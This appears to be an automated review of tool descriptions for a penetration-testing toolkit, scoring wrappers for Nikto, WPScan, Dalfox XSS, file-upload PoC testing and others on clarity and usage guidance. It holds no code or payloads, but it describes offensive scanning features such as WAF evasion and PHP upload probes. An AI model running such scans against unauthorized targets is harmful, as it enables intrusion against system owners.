No annotations are provided, so the description must carry the behavioral burden. It mentions the tool detects various weaknesses but does not disclose potential side effects (e.g., network impact, duration, need for privileges), whether it's read-only or invasive, or any rate limits. The description implies a scanning action but lacks transparency on operational constraints.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is compact, with a brief overview sentence, a usage trigger, and a bulleted list of detection categories. It is front-loaded with the purpose and uses concise phrasing, making it easy to scan.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given it scans for many vulnerabilities, the description is relatively complete with a clear list of what it detects. However, it lacks information about output specifics (though output schema exists, which reduces burden) and operational considerations like runtime or permissions. For a moderate complexity tool, it's adequate but not overly rich.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100% for both parameters, providing clear descriptions of target and port with defaults. The description adds context by mentioning 'port 443 or other HTTPS', but doesn't add further semantic value beyond what the schema already states. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool analyzes SSL/TLS configuration using testssl.sh, specifying the target context (port 443 or HTTPS service). It distinguishes from siblings by focusing on SSL/TLS analysis rather than general scanning, though it doesn't name specific alternatives.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

It provides a specific trigger condition (when Nmap identifies port 443 or another HTTPS service) and lists detected vulnerability categories. However, it doesn't explicitly state when NOT to use it or mention alternatives like scan_nuclei for web vulnerabilities, but the context is clear enough for an agent to decide.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations are not provided, so the description carries full burden for behavioral disclosure. It does not state whether the scan is read‑only, whether it could affect the target (e.g., DDoS risk, network load), how long it might take, or whether credentials are needed. The description only lists detection capabilities, leaving the agent unaware of potential side effects or prerequisites.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is succinct (~60 words), front-loaded with the main action and tool name, followed by a usage condition, and then a bulleted list of detections. Every sentence serves a purpose, and there is no redundancy.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (a comprehensive web scanner) and the presence of an output schema, the description covers the essential what and when. However, it does not mention how results are surfaced (e.g., saved findings for later retrieval via listar_findings), which would be helpful for workflow orchestration. Still, for a scanning tool, it is sufficiently complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%: both target_url and evasion have clear descriptions with examples. The tool description adds no extra parameter context (e.g., formats, constraints) beyond what the schema already provides, so it meets the baseline for high coverage.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states it executes a web vulnerability scan using Nikto, naming the specific tool and its purpose. It also enumerates detection categories (sensitive files, missing headers, dangerous HTTP methods, outdated versions, XSS/injection vectors, weak SSL/TLS), which distinguishes it from sibling scanners like scan_nuclei or scan_sql_injection_sqlmap.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

It explicitly tells when to use: 'Use quando o Nmap identificar portas HTTP/HTTPS abertas.' This provides a clear trigger condition based on Nmap findings. While it doesn't name alternative tools for when not to use, the condition is specific enough to guide the agent.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It lists detection capabilities but does not disclose potential side effects (e.g., active scanning noise, brute-force behavior, need for an API token for full plugin database). The aggressive parameter hints at noise in the schema, but the description itself lacks behavioral depth.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences: first states the purpose, second gives the usage trigger. The detection list is compact and informative. No redundant text or boilerplate; every sentence earns its place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

With full parameter schema coverage and an output schema present, the description provides enough context for selecting and starting a scan. It could mention that output formatting is structured (output schema) but the existing schema already handles that. Overall adequate for this tool's complexity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%: all three parameters (enumerate, aggressive, target_url) have detailed descriptions. The tool description adds no extra parameter semantics beyond the schema, so the baseline of 3 applies.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific action ('Executa auditoria completa de WordPress') using a named tool (WPScan) and enumerates the key detection categories (plugins/themes, users, weak passwords, xmlrpc, backups). This clearly distinguishes it from sibling scanners like scan_nuclei or scan_xmlrpc_wordpress, which target broader or narrower scopes.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

Provides explicit when-to-use guidance: 'Use quando identificar um site WordPress' with concrete indicators (wp-login.php, wp-content/ no Gobuster/Nikto). It does not explicitly list exclusions or alternatives, but the trigger condition is clear and actionable.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, and the description gives no information about side effects, permissions, or whether the tool is read-only or potentially destructive. The description is silent on what actions it performs beyond testing attack vectors, leaving the tool's behavior opaque.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise, consisting of two short sentences that clearly convey the purpose and usage condition. It does not include extraneous information, and the structure is direct and easy to scan.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description provides enough context for when to use the tool (based on reports from WPScan/Nikto) and what it does, but it lacks information on the expected output or any side effects. Since no output schema is given, the user does not know what the tool returns, and there is no mention of prerequisites or post-conditions. This leaves some gaps for complete understanding.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema provides a description for target_url with an example, but it does not clarify whether the URL should include the full path to xmlrpc.php or just the base URL. The example shows a base URL without a path, but the tool name suggests the endpoint is fixed. The description lacks details on required format or constraints, making it ambiguous.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states that the tool tests the WordPress xmlrpc.php endpoint for attack vectors, which is specific and distinguishes it from sibling tools that scan other aspects. The verb 'testa' and the object 'xmlrpc.php' make the purpose unambiguous.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly states when to use the tool: 'Use quando WPScan ou Nikto reportar xmlrpc.php acessível.' This provides a concrete trigger condition and implies it is a follow-up to those tools. It does not explicitly state when not to use it, but the condition is clear enough to guide usage.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the burden. It mentions the tool uses Dalfox and detects specific XSS types, but does not disclose potential side effects, rate limits, or whether it is a read-only operation. It does not contradict any annotations since none exist.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise, with three short sentences that are front-loaded with the purpose and usage. No unnecessary information.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is relatively simple with one parameter and an output schema. The description covers the purpose, usage context, and detection types. It could mention what the output looks like, but the output schema exists, so the description need not explain return values. Overall, it is complete for the tool's complexity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema description coverage is 100% for the single parameter, and the description adds an example of the expected format. The description does not add much beyond the schema, but the schema is already clear. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool tests for Cross-Site Scripting (XSS) using Dalfox, a specific tool. It also lists the types of XSS detected (Reflected, DOM, WAF bypass), which distinguishes it from other scanning tools in the sibling list like SQL injection or port scanning.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides clear guidance on when to use the tool: when the URL contains GET parameters or when Katana discovers forms. It does not explicitly mention when not to use it or alternatives, but the context is clear enough for an agent to decide.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden. It discloses the output location (/tmp/gowitness/) and the underlying tool, which goes beyond the schema. However, it does not mention any potential side effects, authorization requirements, or failure conditions, so it could be richer. Still, it provides useful behavioral context.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two brief sentences, front-loaded with the main action and then the output location. No wasted words, clear and efficient.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is simple with one parameter and an output schema, so the description does not need to explain return values. It covers the essential context: what it does, the tool used, and where outputs are saved. It lacks notes on prerequisites or error conditions but is largely complete for its scope.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100% for the single parameter, and the description's mention of 'URL a capturar' aligns closely with the schema's own description. The description adds minimal extra meaning beyond the schema, so the baseline of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the action (captures screenshot), the resource (web application), the tool (Gowitness), and the purpose (document evidence). It is specific and distinct from sibling tools, which focus on scanning or enumeration rather than screenshotting.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage for documenting evidence but does not explicitly provide when-to-use vs. when-not-to-use guidance or mention alternatives. It lacks explicit contextual boundaries, though the purpose is fairly explicit for its straightforward function.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full burden. It transparently discloses that the tool creates a PHP file on the target server, notes that it is innocuous and non-destructive, and explicitly warns about authorization. This goes beyond the minimal requirement and adds context about the tool's side effects, though it does not detail response handling (covered by output schema).

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise and front-loaded: the purpose is stated in the first sentence, the method in the second, and a crucial warning appended. No fluff or redundant information. It is well-structured for quick comprehension.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description covers the essential context: vulnerability identification, method, authorization requirement, and safety of the proof-of-concept. While it does not explain the output format, an output schema exists, and the description is complete for an agent to understand when and how to invoke the tool correctly.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema has 100% description coverage for all three parameters, each with clear descriptions and examples. The tool description adds no additional parameter semantics beyond the schema, so the baseline score of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: verifying unrestricted file upload vulnerability (CWE-434), and specifies the method (sends an innocuous PHP proof-of-concept file and checks executability). It distinguishes from sibling security scan tools by naming the specific vulnerability type and technique.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides an explicit caution to use only in authorized environments, which is a key usage guideline. It implies the tool is for security testing of file upload endpoints, but does not explicitly mention alternatives or when not to use it. This is clear enough given the specialized nature.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It discloses that the tool performs a ping check and implies it is a read-only operation that does not cause harm (no destructive behavior). It also indicates that it helps avoid unnecessary scans, which is additional context beyond a simple schema. However, it doesn't specify details like timeout, protocol (ICMP vs TCP), or what happens if the target doesn't respond, but for a simple ping, the coverage is decent.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is only two sentences, concise and front-loaded. It clearly states the purpose and use case without any fluff. All sentences earn their place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given its simplicity (one parameter, no nested objects, has an output schema), the description is complete enough. It explains when to use it, what it does, and the purpose. However, it doesn't mention the output format or what a successful/unsuccessful ping means, but the output schema likely covers that. The context signals indicate an output schema exists, which reduces the burden on the description. Overall complete for a simple tool.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% as the description of the parameter is included in the schema. The description adds minimal extra meaning beyond the schema, but since the schema already provides a clear example and format, the description's added value is low. The baseline for high schema coverage is 3, but the description slightly enhances by indicating the purpose of the parameter (the target to ping). However, it doesn't go beyond what the schema offers, so a 4 is generous; I'll stick with 4 as it meets the baseline and adds a tiny bit.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: 'Verifica se o alvo responde via ping' (Checks if the target responds via ping) before starting any scan. It specifies the verb and resource ('ping'), and it distinguishes itself from sibling tools by emphasizing it's a preliminary check to avoid unnecessary scans.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly says to use it as the first verification before any scan: 'Use como primeira verificação para evitar scans desnecessários.' It provides clear context for when to use this tool versus diving directly into other scanning tools. However, it does not explicitly list alternatives or when not to use it, but the guidance is sufficient.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the transparency burden. It does disclose that the tool runs Gobuster with a dedicated wordlist and focuses on leak detection, which implies active HTTP probing. However, it omits operational details such as request volume, potential WAF interaction, or any access requirements, so transparency is only partially addressed.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is front-loaded with a clear purpose sentence, followed by concrete detection examples and a practical usage note. Every sentence adds value and there is no filler or repetition.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description is sufficient for a moderately complex tool: it explains the purpose, the wordlist focus, specific file types, and where it fits in the scan workflow. Since an output schema exists, return-value details are not required, though a brief note on prerequisites or limitations would have made it fully complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the input schema already documents target_url and evasion with useful examples. The tool description does not add parameter-level meaning beyond what the schema provides, which matches the baseline for high schema coverage.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific verb ('Verifica exposição'), a concrete resource ('arquivos e diretórios sensíveis'), and the technique ('Gobuster com wordlist dedicada'). The phrase 'Use logo após o Gobuster padrão para cobertura específica de leaks' differentiates it from the sibling scan_diretorios_gobuster and other scan tools.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives clear usage context: 'Use logo após o Gobuster padrão para cobertura específica de leaks.' This tells the agent when to run it, but it does not explicitly state when not to use it or name alternative tools beyond the standard Gobuster scan.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must convey behavior. It describes analyzing and returning a structured report but does not mention side effects, authentication needs, or rate limits.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise, with two clear sentences detailing the purpose and scope without any fluff.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description provides sufficient context, including the output format and severity levels, making it complete for its intended use.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema already fully describes target_url, and the tool description does not add extra meaning beyond what is provided, so it remains at baseline.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states it analyzes HTTP security headers and cookie flags, listing the specific headers checked, which distinguishes it from other scanning tools.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage for security header assessment but does not explicitly state when to use or avoid this tool, nor does it mention alternatives.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.